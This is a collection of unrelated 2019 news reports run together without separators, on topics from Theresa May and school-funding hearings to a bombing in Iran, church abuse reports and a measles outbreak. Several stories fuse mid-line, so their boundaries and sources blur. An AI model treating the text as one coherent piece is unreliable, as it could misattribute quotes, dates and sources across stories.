The Prime Minister reportedly told her Cabinet that she wont throw away a jar of jam if its gone mouldy, instead scraping any growth off the top and eating whats left underneath.

According to the Daily Mail, the PM made the revelation during a discussion on how to reduce food waste at a Cabinet meeting.

Theresa May has revealed that she scraped mould off jam rather than throw away a jar (Picture: AP/Kirsty Wigglesworth)

According to the Mail, a Whitehall source said Mrs May told ministers that once the mould is taken off, the rest of the jam is perfectly edible.

She also called for people to invoke common sense when it comes to throwing food away just because its past its best before date.

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MORE: Lorry drivers could face 38 questions each time they cross Channel under no-deal Brexit  or face fines

MORE: Dog owners in French town threatened with 60 fine to curb pets excessive barking

According to the Food Standards Agency (FSA), the best before date is about quality and not safety.

The FSAs advice on its website says: The food will be safe to eat after this date but may not be at its best. Its flavour and texture might not be as good.

Watch the latest videos from Yahoo UKDALLAS (AP)  Four malnourished siblings, all aged 5 or younger, have been placed in foster care after authorities found them hungry and thirsty in a North Texas barn, two locked in a dog cage and the others smeared with excrement, authorities said Wednesday.

Law enforcement found the children Tuesday morning while responding to a domestic disturbance call at a property near Rhome, about 20 miles (32 kilometers) north of Fort Worth.

The three boys and girl were released from a hospital Tuesday evening and placed into foster care, a Texas Department of Family and Protective Services said. The agency did not say if the children have been placed together or split up.

Wise County Sheriff Lane Akin said deputies found the oldest two kids locked in a 3-by-3 foot (90-by-90 centimeter) cage and the other two were filthy and only partially clothed. Akin called it the worst case of child abuse he has seen in his 44-year career.

Paige Isabow Harkings and Andrew Joseph Fabila, who are both 24, were each charged with four counts of criminal child endangerment and were being held in the Wise County Jail. His bond was set at $60,000 Wednesday afternoon, while hers was set at $75,000.

Harkings was also charged with aggravated assault, and Fabila was taken to an area hospital to have "numerous lacerations on his face" treated before being jailed, the sheriff's office said in a statement. She is the mother to all four children, while he is the father of one, according to authorities.

The 4-year-old girl and the boys, aged 5, 3 and 1, are "doing OK," according to Department of Family and Protective Services spokeswoman Marissa Gonzales. She declined to share details of their condition and treatment.

Akin said the children were starving and that a plentiful supply of food had been locked inside cabinets and a refrigerator in the barn. Deputies fed the kids and gave them water before taking them to the hospital, according to the sheriff's office.

Law enforcement and Department of Family and Protective Services staff are still investigating the case, Gonzales said.TEL AVIV/NEW YORK (Reuters) - Teva Pharmaceutical Industries is "content" with having its new migraine drug Ajovy covered by nearly two-thirds of payers in the United States, Chief Executive Kare Schultz told Reuters on Wednesday. Last month, CVS Health Corp, a top U.S. manager of pharmacy benefits, added Ajovy and a competing drug from Eli Lilly and Co to its list of covered drugs, although it has been excluded from preferred coverage by two other large payers. Schultz said the current level of coverage was acceptable since the company did not want to discount Ajovy, launched last September, too much. He also said Teva's generic version of Mylan NV's EpiPen should approach a 50 percent market share by the end of next year and that the Israel-based drugmaker has discontinued about 100 products as part of a restructuring. Schultz said Teva's R&D spending should remain around 6 percent of revenues going forward. (Reporting by Steven Scheer, Tova Cohen and Michael Erman)Teachers walk a picket line outside South High School in Denver early Monday. (Photo: David Zalubowski/AP)

WASHINGTON  In Denver, a teachers strike entered its second day. In Gary, Ind., a school has not had heating for several weeks. In San Diego, a high school senior found rat feces in his school lunch.

And in Washington, a conservative economist said that school funding was not what contributed to what is widely agreed to be the sorry state of American public education. The remarks came during a hearing of the House Committee on Education and Labor titled, tellingly, Underpaid Teachers and Crumbling Schools: How Underfunding Public Education Shortchanges Americas Students.

The argument that school funding was, in effect, a red herring, was proffered by the sole conservative witness at the hearing, Kennesaw State University researcher Benjamin Scafidi, who came under frequent attack from the committees Democrats.

Among those who took issue with Scafidis free-market views  in particular, that school choice is more beneficial than increased spending  was new Rep. Jahana Hayes, D-Conn., a former national teacher of the year and the first African-American woman elected to represent Connecticut in Washington. Hayes noted that of the four teacher-of-the-year finalists in 2016, three have taken part in a strike. And she flatly told Scafidi that his proposal to improve schools  and achieve racial and socioeconomic integration  by giving students and their parents greater choice over where they go to school will not work.

President Trump is a proponent of school choice, and during the 2016 presidential campaign promised to devote $20 billion to the measure. His education secretary, Betsy DeVos, is also a fierce proponent of school choice, though her push to deregulate schools in her native Michigan, and in Detroit in particular, has met with poor results. During his State of the Union address earlier this month, Trump said that the time has come to pass school choice for Americas children, though he offered no details about the plan.

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Education Secretary Betsy DeVos during a Cabinet meeting Tuesday. (Photo: Chip Somodevilla/Getty Images)

That call came two weeks after teachers conducted a strike in Los Angeles, demanding better funding for their own schools and greater oversight for charter networks, generally regarded as a competitor by proponents of public education. Then, on Monday, came the strike in Denver, this one more narrowly focused on pay. In recent years, there have been teacher strikes in West Virginia, Oklahoma and Arizona, in part over frustrations with teacher accountability, student testing and the school reform movement in general.

School reformers kind of overshot the mark, and were now in a pendulum swing where teachers increasingly look like good guys, conservative education theorist Rick Hess told the New York Times last year.

The chairman of the Education and Labor Committee, Bobby Scott, D-Va., is a co-sponsor of the Rebuild Americas Schools Act, which would invest some $100 billion in American public schools through grants and credits. Scott said, in his opening remarks, that if passed into law, the bill would create 1.9 million jobs. Referencing the presidents longstanding concern with infrastructure, Scott said in his opening remarks that school infrastructure must be part of any package we consider. And though the Rebuild Americas Schools Act does have solid Democratic support in the House, it stands virtually no chance in a Senate that is under Republican control.

Democrats used Tuesdays hearing to highlight just how badly a new investment in schools was needed, sometimes resorting to vivid examples to make their point. Teachers across the country tell me all the time about having to clean up mouse droppings in the morning, said witness Randi Weingarten, head of the American Federation of Teachers. She noted also that schools in Philadelphia are plagued by mold, while a full half of Detroit schools are in poor or unsatisfactory condition.

Ollie wears a protest sign as his owner, teacher Ryan Marini, walks a picket line Monday in Denver. (Photo: David Zalubowski/AP)

Republicans generally dismissed the notion that Washington could do much to help in situations like these, painting education as a matter for states and municipalities to handle. Rep. Virginia Foxx, R-N.C., cited increased spending on public schools, which she said went to administrative bloat, not tangible improvement. She said that on the two issues discussed in the hearing, teacher salaries and school infrastructure improvement, Democrats have not had a new idea in decades, and that their proposals amounted to nothing more than more money, more bureaucracy and more power punted to distant figures in Washington.

Foxx added that teachers and students deserve more than the same tired fights over money. Rep. Glenn Grothman, R-Wis., similarly said it was untenable, and unwise, to ask this completely broken federal government for more money.

At times, Democrats and Republicans seemed to be talking at cross purposes, broadly in agreement that schools desperately need to be fixed, but differing markedly in what they saw as the problem, or the solution. Much as progressives dislike school choice, charters will almost certainly continue to be part of any broad, nationwide approach to school changes, should such a plan ever take shape. But as the recent strikes have made clear, schoolhouse austerity is no longer palatable, even in relatively conservative states like West Virginia and Arizona.

Apparently responding to the current strike in Denver, or to the seeming radicalization of educators across the nation, the presidents son, Donald Trump Jr., said at a political rally in Texas on Monday night that loser teachers were trying to sell you on socialism from birth. He urged the crowd to resist such efforts.

_____

Read more from Yahoo News:WASHINGTON  Do not expect President Donald Trump to tweet any praises for the Siena College Research Institute any time soon.

In its sixth presidential ranking since 1982, 157 scholars surveyed by the institute ranked Trump the third worst president of all time after Andrew Johnson (who was impeached) and James Buchanan (whose presidency was followed by the Civil War).

The Siena survey, released Thursday, is conducted after each new president has had a full year in office. It asks presidential scholars, historians and political scientists to rank the presidents according to 20 different categories.

Because the survey is conducted after only one year in office, the sitting president normally comes in somewhere toward the middle of the pack as "scholars begin to observe their accomplishments, assess their abilities and study their attributes," said Don Levy, the institute's director, in a press release.

Poll: Defeating Trump is more important than issues for most Democratic voters

"This year, Donald Trump enters the survey at 42nd, and he is only ranked outside of the bottom five in two of the twenty categories that scholars use to assess the presidents, 'luck' and 'willingness to take risks,'" Levy said.

For the first time in the survey's history, George Washington was ranked the greatest president, unseating Franklin Roosevelt, who had topped every previous ranking. Overall, the top five has remained unchanged with Washington, Roosevelt, Abraham Lincoln, Teddy Roosevelt and Thomas Jefferson.

Barack Obama dropped two spots to the 17th greatest president, while George W. Bush climbed six spots to 33rd. Bill Clinton went from 13th to 15th and Ronald Reagan climbed from 18th to 13th place.

Richest presidents: The net worth of every US president from George Washington to Donald Trump

Poll: Americans trust congressional Democrats more than Trump on border security

This article originally appeared on USA TODAY: Survey of scholars places Trump as third worst president of all timeSunstone Hotel Investors (SHO) came out with quarterly funds from operations (FFO) of $0.29 per share, beating the Zacks Consensus Estimate of $0.27 per share. This compares to FFO of $0.28 per share a year ago. These figures are adjusted for non-recurring items.

This quarterly report represents an FFO surprise of 7.41%. A quarter ago, it was expected that this hotel real estate investment trust would post FFO of $0.28 per share when it actually produced FFO of $0.30, delivering a surprise of 7.14%.

Over the last four quarters, the company has surpassed consensus FFO estimates four times.

Sunstone Hotel, which belongs to the Zacks REIT and Equity Trust - Other industry, posted revenues of $280.85 million for the quarter ended December 2018, surpassing the Zacks Consensus Estimate by 2.11%. This compares to year-ago revenues of $290.19 million. The company has topped consensus revenue estimates three times over the last four quarters.

The sustainability of the stock's immediate price movement based on the recently-released numbers and future FFO expectations will mostly depend on management's commentary on the earnings call.

Sunstone Hotel shares have added about 9.2% since the beginning of the year versus the S&P 500's gain of 8.1%.

What's Next for Sunstone Hotel?

While Sunstone Hotel has outperformed the market so far this year, the question that comes to investors' minds is: what's next for the stock?

There are no easy answers to this key question, but one reliable measure that can help investors address this is the company's FFO outlook. Not only does this include current consensus FFO expectations for the coming quarter(s), but also how these expectations have changed lately.

Empirical research shows a strong correlation between near-term stock movements and trends in estimate revisions. Investors can track such revisions by themselves or rely on a tried-and-tested rating tool like the Zacks Rank, which has an impressive track record of harnessing the power of estimate revisions.

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Ahead of this earnings release, the estimate revisions trend for Sunstone Hotel was mixed. While the magnitude and direction of estimate revisions could change following the company's just-released earnings report, the current status translates into a Zacks Rank #3 (Hold) for the stock. So, the shares are expected to perform in line with the market in the near future. You can see the complete list of today's Zacks #1 Rank (Strong Buy) stocks here.

It will be interesting to see how estimates for the coming quarters and current fiscal year change in the days ahead. The current consensus FFO estimate is $0.20 on $259.76 million in revenues for the coming quarter and $1.11 on $1.12 billion in revenues for the current fiscal year.

Investors should be mindful of the fact that the outlook for the industry can have a material impact on the performance of the stock as well. In terms of the Zacks Industry Rank, REIT and Equity Trust - Other is currently in the bottom 42% of the 250 plus Zacks industries. Our research shows that the top 50% of the Zacks-ranked industries outperform the bottom 50% by a factor of more than 2 to 1.



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To read this article on Zacks.com click here.



Zacks Investment ResearchNOW, THEYRE RUNNING. Candidates have shifted to first gear as the campaign period for the May elections begins: Senators Grace Poe, with JV Ejercito, Aquilino Pimentel III, Nancy Binay, Cynthia Villar, and Juan Edgardo Angara stage a campaign rally Wednesday in vote-rich Tondo, Manila. Photo by Lino Santos

NOW, THEYRE RUNNING. Candidates have shifted to first gear as the campaign period for the May elections begins: Senator Paolo Benigno Aquino IV, Samira Gutoc, Romy Macalintal, Gary Alejano, Erin Tanada, Chel Diokno, and Pilo Hilbay join hands after a dialogue at the Zeferino Arroyo High School to kick-off their campaign rally. Photo by Norman Cruz

READ: Arroyo goes all out for HugpongBy Babak Dehghanpisheh and Bozorgmehr Sharafedin GENEVA/LONDON (Reuters) - A suicide bomber killed 27 members of Iran's elite Revolutionary Guards on Wednesday, state media said, in a southeastern region where security forces are facing a rise in attacks by militants from the country's Sunni Muslim minority. The Sunni group Jaish al Adl (Army of Justice), which says it seeks greater rights and better living conditions for the ethnic minority Baluchis, claimed responsibility for the attack, the semi-official Fars news agency reported. The heavy losses among Iran's premier military force prompted a senior Revolutionary Guards commander to issue a warning to the country's foes. "Our response in defense of the Islamic Revolution will not be limited to our borders," Ali Fadavi was quoted as saying by Fars. "The enemies will receive a very firm response from the Revolutionary Guards like before." He did not specify which enemies or what actions Tehran would take. In the past Iran has accused its regional rival, Sunni Arab Saudi Arabia, of supporting Sunni separatist groups who have attacked its security forces. Riyadh has denied the charges. Irans Shiite Muslim authorities say militant groups operate from safe havens in Pakistan and have repeatedly called on the neighboring country to crack down on them. A suicide bomber driving a vehicle laden with explosives attacked a bus transporting members of the Guards, the force said in a statement. Thirteen people were wounded. A video posted by Fars showed blood and debris at the site of the attack on a road in a volatile area near the Pakistan border where militants and armed drug smugglers operate. The bus was turned into a twisted pile of metal, a photo published on Fars showed. Reuters could not independently verify the image. While Sunni militant groups are not regarded as a major threat, the attack dealt a fresh blow to Irans security establishment, which has often said it can repel any threat no matter how big, even from the United States and its ally Israel. MILITARY MIGHT AND BUSINESS INTERESTS The assault in impoverished Sistan-Baluchistan province - among the worst ever on the Guards - illustrated that Irans elite force, which answers directly to Supreme Leader Ayatollah Ali Khamenei, can be vulnerable to guerrilla-style operations. The Guards' estimated 125,000-strong military, with army, navy and air units, has acted as the sword and shield of Shiite clerical rule in Iran since its 1979 Islamic Revolution. The force also operates outside of Iran's borders in countries such as Iraq and Syria where it works with proxies to promote Tehran's interest. It runs a business empire in Iran worth billions of dollars. "The self-sacrificing military and intelligence children of the people of Iran will take revenge for the blood of the martyrs of this incident," Fars quoted Foreign ministry spokesman Bahram Qassemi as saying. Irans Guards fired missiles at Islamic State militants in Syria in 2017 and 2018 after the group claimed responsibility for two attacks in Tehran and Ahvaz. In 2018, the Guards launched missiles at an Iranian Kurdish armed opposition group in northern Iraq. Wednesday's violence comes during a month in which Iran has been commemorating the 1979 Islamic Revolution which swept the U.S.-backed Shah from power. Tehran showed off ballistic missiles in defiance of U.S. efforts to curb its military power. Iranian Foreign Minister Mohammad Javad Zarif appeared to blame the United States for the attack, citing a U.S.-sponsored conference in Warsaw aimed at rallying support to further isolate Iran. On Twitter he asked: "Is it no coincidence that Iran is hit by terror on the very day that #WarsawCircus begins?" Iran had enjoyed relative stability compared to Arab neighbors who have grappled with political and economic upheaval touched off by popular uprisings in 2011. But economic hardships fueled by U.S. sanctions have triggered waves of protests that sometimes call for Iran's clerical leaders to step down. Twelve members of the Guards were among 25 people killed last autumn by gunmen on a military parade in the city of Ahvaz in the southwest. The Sunni Islamic State and an Arab separatist group both claimed responsibility. Jaish al-Adl emerged as the main armed opposition movement in the southeast after members of another Sunni group, Jundullah, joined it after their leader was captured on a plane in 2010. He was tried and executed. (Writing by Michael Georgy; Editing by Gareth Jones and James Dalgleish)Tehran (AFP) - A suicide car bombing on a Revolutionary Guards bus in southeastern Iran killed 27 troops on Wednesday, in one of the deadliest attacks on the elite forces in years.

The assault came as the troops were returning from a border patrol mission, the Guards said in a statement.

"In this terrorist attack 27 of Islam's brave warriors were killed and 13 were wounded," the statement read, accusing "world domination and Zionist intelligence agencies" of supporting the attackers.

Earlier the official IRNA news agency said "the suicide attack on an Islamic Revolutionary Guards Corps personnel bus happened on the Khash-Zahedan road."

A picture released by the semi-official Fars news agency showed a hulk of twisted metal lying by the side of a road, unrecognisable as a bus.

The attack happened when "a car filled with explosives blew up besides a bus," the Guards said.

"Mercenaries of intelligence agencies of world arrogance and domination," carried out the attack to counteract "the victory of the 40th anniversary of the Islamic revolution," they added.

Iran has been celebrating the 40th anniversary of the return to Tehran of Ayatollah Ruhollah Khomeini in 1979 after more than 14 years in exile and the overthrow of the pro-Western shah. His arrival triggered the start of the Islamic Revolution and led to the creation of the Islamic Republic.

Wednesday's attack took place in the volatile southeastern province of Sistan-Baluchistan which has a large, mainly Sunni Muslim ethnic Baluchi community straddling the border with Pakistan.

The SITE Intelligence Group reported that the attack was claimed by Jaish al-Adl, a jihadist group formed in 2012 as a successor to the Sunni extremist group Jundallah (Soldiers of God), which waged a deadly insurgency against Iranian targets over the past decade.

The Jaish al-Adl -- blacklisted as a "terrorist group" in Iran -- "announced its responsibility in a brief Persian message on February 13, 2019," SITE reported.

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The attack came on the same day as the United States gathered some 60 countries in Poland for a conference on the Middle East and Iran which they hoped would increase pressure on Tehran.

- 'US obsession' -

Dubbing the meeting in Poland the "WarsawCircus", Iranian Foreign Minister Mohammad Javad Zarif said it was "no coincidence that Iran is hit by terror on the very day" that the talks began in the Polish capital.

"Especially when cohorts of same terrorists cheer it from Warsaw streets & support it with twitter bots? US seems to always make the same wrong choices, but expect different results," Zarif wrote on Twitter.

He earlier blasted the two-day conference as "dead on arrival".

"It is another attempt by the United States to pursue an obsession with Iran that is not well-founded," Zarif told a Tehran news conference.

Sistan-Baluchistan has been the scene of other attacks.

On January 29 three members of an Iranian bomb squad sent to the scene of an explosion in its capital Zahedan were wounded when a second device blew up as they were trying to defuse it, police said at the time.

And in early December last year two people were killed and around 40 others wounded in the port city of Chabahar, also in Sistan-Baluchistan, in an attack which Zarif at the time blamed on "foreign-backed terrorists" -- a reference to Sunni Muslim extremists.

Another of the bloodiest attacks in recent times to have hit Iran happened in September when assailants killed 24 people at a military parade in the southwestern city of Ahvaz.

In October, Jaish al-Adl claimed responsibility for abducting 12 Iranian security personnel near the border with Pakistan.

And in July at least 10 members of the Revolutionary Guards were killed when insurgents attacked one of their bases along the border with Iraq.Rachel Rollins, district attorney for Suffolk County, Mass., is prepared to launch an investigation into the sexual assault allegation recently brought against Virginia lieutenant governor Justin Fairfax provided his accuser, Vanessa Tyson, is willing to file a complaint, the Boston Globe reported Wednesday.

Rollins claims she emailed Tysons attorneys last week asking if they would like to file a criminal complaint related to their clients allegation that Fairfax sexually assaulted her in a Boston hotel room in 2004, but have not yet received a response.

We will help in any way we can if she chooses to come forward, Rollins told the Globe in an interview. We would offer any number of services starting from getting them in touch with counselors all the way, if they were so inclined, to seek prosecution.

Fairfax, who previously admitted to having a consensual sexual encounter with Tyson, once again denied the assault and floated the possibility of filing a criminal complaint against her in a statement provided to CNN Wednesday.

The Lt. Gov. has stated repeatedly that he has never sexually assaulted anyone ever.He has called publicly for a fair, impartial investigation, the statement reads in part. He has nothing to hide. He would cooperate fully with an investigation by Suffolk County District if a criminal complaint is filed. In that event the Lt. Gov. will explore all options with regard to filing his own criminal complaint in response to the filing of a false criminal complaint against him.

In a graphic statement released last week by her attorneys, Tyson accused Fairfax of forcing her to perform oral sex on him while the pair were in Boston for the 2004 Democratic National Convention.

Fairfax was also accused last week by a second woman who claims he raped her while the pair were undergraduates at Duke University in 2000. He has also denied that claim.

More from National ReviewMEMPHIS, Tenn.  An investigation that found more than 700 victims of sexual misconduct by leaders in Southern Baptist churches is heartbreaking, said Jeremy Wright, pastor at Redeemer Baptist Fellowship in Memphis.

He also said he was grateful for the investigation, in which the Houston Chronicle and the San Antonio Express-News compiled more than 380 cases over the last 20 years of church leaders and volunteers who have been accused of sex crimes.

I hope the overwhelming response is 'Were sorry, we want to change', Wright said. I hope the overwhelming response is to say 'That is not the way we want to represent Jesus.' Thats the hope in coming days.

February 12, 2019 - Jeremy Wright, pastor at Redeemer Baptist Fellowship in Memphis.

Southern Baptist leaders respond

Denominational leaders also have spoken out about the series.

Russell Moore, who leads the Southern Baptist Convention's Ethics and Religious Liberty Commission, told the USA TODAY Network that he's grateful that the investigation brought these stories to light.

In the past, some churches have felt as if they are invulnerable to these issues, Moore said. Other barriers to addressing sexual abuse have included a lack of awareness and training.

Feb. 11: Investigation finds decades of abuse in Southern Baptist Convention

Jan. 15: Young adults are dropping out of church in large numbers, survey finds. This is why.

"There are some churches that assumed these sorts of crimes can only happen in the outside world," Moore said. "That's exactly the mentality predators count on: A sense of invulnerability within the church so there's not a questioning of what is going on."

Last year, J.D. Greear, president of the convention, formed a study group on sexual abuse in partnership with the Ethics and Religious Liberty Commission.

Although that group rose out of conversations about mainly adult victims during the #MeToo movement, Moore said it is meant to focus on all victims, including children.

He said he is hopeful that the group will move the denomination toward "systematic overhaul" on these issues.

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"I think that one important piece is for churches not to see these issues as somehow a distraction from our mission," Moore said. "Protecting vulnerable people is right in line with our mission.

Questions about church autonomy

Some have said reform can be difficult since Southern Baptist churches are autonomous  affiliated but not governed by the convention. The Southern Baptist Convention, which is headquartered in Nashville, Tennessee, can choose to associate or disassociate with a local church, but it cant otherwise enforce policies or theology.

That shouldnt be an excuse to avoid reforms, Wright said.

Each church is governed from within, but that doesnt make each church its own island, Wright said. Theres a lot of influence that goes on in the Southern Baptist world.

Wright said he hopes for sweeping changes at the individual church level in hiring processes, volunteer orientation and allowing people into different ministry roles.

At the denominational level, he said he hopes for the convention's publishing arm to offer more training on sexual abuse in its curriculum. The publishing arm, Lifeway Christian Resources, already offers discounted background screenings to churches, but Wright hopes they will offer them at a lower cost or even for free.

A survivor of sexual assault in the Catholic Church, David Brown is now a Southern Baptist who works with SNAP (Survivors Network of those Abused by Priests) in Memphis.

He and others have asked the convention for years to establish a database that includes people credibly accused of sexual abuse, not just those who have been convicted.

"The SBC uses the word 'autonomous,' " said Brown. "They couch and cover a lot of sins that way."

Lindsey Pence, who attends Wright's church in Memphis, said she's excited to hear about denomination-wide ideas for change.

"I think the problem in the Southern Baptist Convention is we care too much about autonomy and not enough about justice in this situation," she said. "In general, the Bible teaches that evil looks for darkness to hide in. The church should be the last place functioning as that darkness where evil can occur.

Moore also said that autonomy shouldn't be an excuse for inaction.

"There are special challenges with autonomy," Moore said. "How do we equip 45,000 autonomous churches when no one can sternly change their policies for them? Thats a challenge, but we should work to meet that challenge not simply shrug our shoulders at the front end.

Greear, the denomination's president, also said in a statement posted on Twitter that The Baptist doctrine of church autonomy should never be a religious cover for passivity towards abuse.

I will pursue every possible avenue to bring the vast spiritual, financial, and organizational resources of the Southern Baptist Convention to bear on stopping predators in our midst, Greear said.

Change at the local level

Emily Brown, who also attends Wrights church and has written about issues of sexual abuse, said she doesnt think autonomy and oversight have to be in tension with one another.

Churches can have multiple pastors or other safeguards in place to ensure that one abuser does not stay in power, she said. Another way churches can combat abuse is by creating more opportunities for women in leadership, she said.

At the same time, Emily Brown said she hopes to see action from Southern Baptist leaders, such as disassociating from churches with known abusers in leadership.

Im just looking for some tangible steps at the smaller level, but also from the leadership, Emily Brown said. I think that sets a very important precedent.

Survivor hopes for action

David Brown, who survived abuse in the Catholic Church, said Southern Baptist leaders have provided strong "soundbites" after the investigation was published.

Now, there needs to be action, he said.

"It's important to us as survivors that the church of our faith, the faith we believe in, stands up and acts like they believe survivors," he said. "The SBC needs to create an environment where when a survivor comes forward, the tools are in place for them to be believed."

Follow Katherine Burgess on Twitter: @kathsburgess

This article originally appeared on Memphis Commercial Appeal: What can Southern Baptists do after sex-crime reports? Here are some ideasBy Hyonhee Shin and Josh Smith SEOUL (Reuters) - South Korea's presidential Blue House pushed back on Wednesday against comments by U.S. President Donald Trump that suggested Seoul had agreed to pay $500 million more toward maintaining U.S. troops in the country. Trump said at a cabinet meeting in Washington on Tuesday Seoul had agreed to pay $500 million more as part of an agreement sharing the cost of keeping roughly 28,500 American troops stationed in South Korea. "They were paying about $500 million for $5 billion worth of protection," Trump said. "And we have to do better than that. So they've agreed to pay $500 million more." Under the previous agreement - which lapsed amid disagreements in December - South Korea contributed 960 billion won ($857 million) in 2018. South Korean and American officials initialed an agreement on Sunday under which Seoul would increase its contribution to just under 1.04 trillion won ($927 million), an increase of about $70.3 million. Kim Eui-kyeom, a spokesman for the presidential Blue House in Seoul, said when asked about Trump's $500 million figure that it "shouldn't be taken as a fait accompli". Washington demanded during the negotiations that South Korea pay 50 percent more than its 2018 contribution, according to South Korean officials. The new agreement amounts to an increase of about 8 percent. The agreement signed on Sunday must still be approved by South Korea's parliament. Kim said it was valid for only one year, with the possibility of an extension for another year if both sides agreed. "Both sides will consider whether a raise is needed and it's also possible that they would agree to maintain the current level," Kim said. The two sides had struggled to reach a breakthrough, despite at least 10 rounds of talks since March, amid Trump's repeated calls for a sharp increase in South Korea's contribution. Trump said in his cabinet comments on Tuesday the relationship with South Korea was "great" but that the United States lost "a tremendous amount of money" defending its ally. (Reporting by Hyonhee Shin and Josh Smith; Editing by Paul Tait)



Sir Patrick Stewart has played some iconic characters but maybe none more so than Captain Jean-Luc Picard of the Starship Enterprise who appeared in Star Trek: The Next Generation.

Thats why when the news that he would be returning to the role for a brand new series, fans were beyond excited and Stewart says he was surprised how excited he is too.

I am very excited about it, the veteran actor told Yahoo Movies UK. Im more excited than I thought it would ever be possible for me to be about going back into the world of Jean-Luc Picard.

Stewart says that under pain of severe retribution he cannot give any plot details away about the new series but he did reveal a little about its production dates and location.

Patrick Stewart as Captain Jean-Luc Picard in Star Trek: The Next Generation (CBS via Getty Images)

I know what our first season will be about and I know the storylines and so forth, he explained. We start shooting it in the middle of April sometime, in the middle of California.

The septuagenarian can next be seen in The Kid Who Would Be King, Joe Cornishs sophomore feature that is a modern retelling of the Arthurian legend. In the film, he plays Merlin while Angus Imrie plays the younger version.

It was a thrill for me when I heard that Angus was going to be playing the younger version of Merlin because I had worked with Angus mother 40 years ago, Stewart said. I adored her in the theatre and has since become great friends with her so to be working with her son was just marvellous.

He is, of course, talking about Celia Imrie who he last appeared on screen with, in the 1990 adaptation of A Christmas Carol, though it wasnt until production began on the movie that Angus was introduced to his mothers pal.

We hadnt started shooting and Patrick had just got involved which, as you can imagine for everyone involved in the film but particularly for me to be able to share a role with him, was so fantastic, Imrie said.

Angus Imrie (centre) plays young Merlin in The Kid Who Would Be King (Credit: Fox)

We had been rehearsing for a little while just in pre-production and Patrick came in. He was given a seat in the stalls in the theatre and we had to perform the scenes we had been working on for him so he could get a sense of how it was going to be, the actor continued. He was incredibly gracious and thats when we started the work proper to match our performances.

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Stewart has experience playing the same character as another actor thanks to his tenure as Professor Charles Xavier in the X-Men franchise along with James McAvoy, but he says this film offered a fascinating challenge.

One of the things in my career that I have enjoyed about being an actor is when those opportunities come along to do something you havent done before, he said.

Patrick Stewart as Merlin andLouis Asbourne-Serkis as Alex (Credit: Fox)

In recent years I seem to be finishing a scene and saying to people, Ive never done that before, that was the first time on camera Ive ever done that, most of them I cant even repeat in public.

And this idea of the same character being seen in the movie played by two very different people, not just different people, but I guess I am 50 years older than Angus, Stewart continued, how to bring us closer together so that there is a semblance of reality about them being the same man was really interesting and we had such great fun.

So now that Angus has played a younger version of Patrick could he play a young Jean-Luc Picard?

That would be a spin-off, said Stewart.

The Kid Who Would Be King is in cinemas this Friday, 15 February.

Read more

Joe Cornish on brutal box office

James Cameron praised for female characters

The Lego Movies 2 stars on inappropriate jokesRome (AFP) - "So many children have been abused," sighs Vincent Moba, a Zambian Catholic priest who has just graduated from Rome's Pontifical Gregorian University with a diploma in safeguarding children.

Moba, 47, has completed the five-month curriculum at the Centre for the Protection of Minors to join a worldwide network of experts fighting sexual abuse at all levels of society.

Jesuit priest Hans Zollner, a German psychologist and psychotherapist abuse specialist, is in charge of the study programme, which has awarded diplomas to around 80 students, priests, nuns and lay people over the last four years.

On Wednesday, the latest group graduated from 13 countries including South Africa, Kenya, India and Thailand having completed studies in psychology, psychiatry, law, sociology and theology.

Six of them will this year enrol in a new Masters programme in safeguarding children.

Zollner is also one of the organisers of next week's Vatican global child abuse summit to discuss how to protect minors, called for by Pope Francis.

"What I have picked up here is massive, for me to share with our people," said Moba, slamming what he calls a "culture of denial" towards abuse in his country.

"Some people think for example if I sleep with a minor I will be cured of HIV and AIDS, or become a rich person," he said.

"These beliefs are destroying my culture," said the priest, who worked for 12 years in South Africa and has now been sent by his congregation to "participate in this crusade against sexual abuse in the Church."

Among this year's graduates, mainly from Asia and Africa, is Martina Vintrova, a Czech judge and lawyer specialised in canonical law.

She asked her bishop if she could come to follow the course at the Gregorian University, founded in the 16th century.

"I met victims of sexual abuse in the Church. They just started to come to me, maybe because I am a woman and a canonist at the same time.

Story continues

"And I started to help them. I realised I would need a more complete education, because it is not easy work," she said.

- 'Unaware of problem' -

"In our country we are not aware of this problem. People, priests and even bishops don't believe it is such a big problem. I can see from my level it is a problem. We wait for our own scandal in the future, maybe."

The course will make it "easier to speak to victims", says the ardent Catholic.

"I hope it will make me more sensitive: how to speak to them, choose the right words, what not to say and what to say... it is a challenge for us to do everything we can to stop this."

Zollner says it is "a combination of theory and practice", including for instance "in psychology we teach what may be signs of abuse that has happened, or that is about to happen."

"We know that in all parts of the world there have been cases of abuse. That is why we need to have experts on the ground, Africans who talk to Africans, Asians who talk to Asians.

"They have the language to talk about sexual misbehaviour, they know about the cultural differences".

"We want to train people from countries and continents where there is very little expertise in safeguarding children," he added.

Zollner spends much of his time travelling around the world talking about abuse.

"It is changing: I have travelled to 60 countries on all continents over the last years with this topic. I've seen the change."

But there are still countries where dealing with abuse is problematic.

"In a Buddhist country like Myanmar or in a very Confucian society like South Korea talking about sexuality is still taboo -- as much as it is in some parts of the Catholic Church," he said.The measles outbreak could last until June , the leader of the countrys leading professional association of specialists in infectious diseases and microbiology said Wednesday. At a forum, Dr. Mario Panaligan, president of the Philippine Society for Microbiology and Infectious Diseases, said records show that the number of measles cases goes up during summer when people tend to stay outdoors, increasing their chances of exposure. Panaligan said it was important to push vaccination to shorten the length of the measles outbreak. Health Secretary Francisco Duque said all government agencies have mobilized their resources for a massive information dissemination and immunization campaign to encourage Filipinos to get vaccinated. The Department of Health is working side by side with other government agencies in quickly responding to mitigate the measles outbreak, said Duque, who said vaccination remains the best defense against measles. He said several government agencies have already laid out specific tasks to ensure communities are protected against the highly contagious disease. All government efforts, he said are focused on completing the mass immunization campaign in the fastest possible time. READ: Join fight vs. measles, LGUs told Duque has repeatedly called the public to receive the measles vaccine, saying it has long been proven to be safe and effective. Hs noted that immunization activities will be done in schools and communities until March. With the quick vaccination, he said he expected a decline in measles cases. Although the government will give priority to the vaccination of children, he said adults may also go to their nearest health center to get vaccinated. The following are the tasks of the different government agencies:  DOHmeasles fast lines to be established in all DOH hospitals  Department of the Interior and Local Governmentdevelop checklists, targets, and consent forms for local government units in coordination with the DOH  Department of Social Welfare and Developmenttap day care workers to help facilitate vaccination of pupils and ensure children of 4Ps beneficiaries are vaccinated  Department of Educationgather data on number of school children affected with measles, coordinate with health centers for checkups and followups of students who will be vaccinated by private doctors Department of Transportationassist in distributing vaccines and other logistics needs  Armed Forces of the Philippinesdeploy medical personnel in geographically isolated areas and conflict areas, ensure safety of health workers, and monitor cases of measles in military treatment centers  Philippine Information Agencyconduct information and awareness campaigns to be localized for different areas. The mass immunization campaign comes after the DOH declared a measles outbreak in Metro Manila, Central Luzon, Calabarzon, Western Visayas, 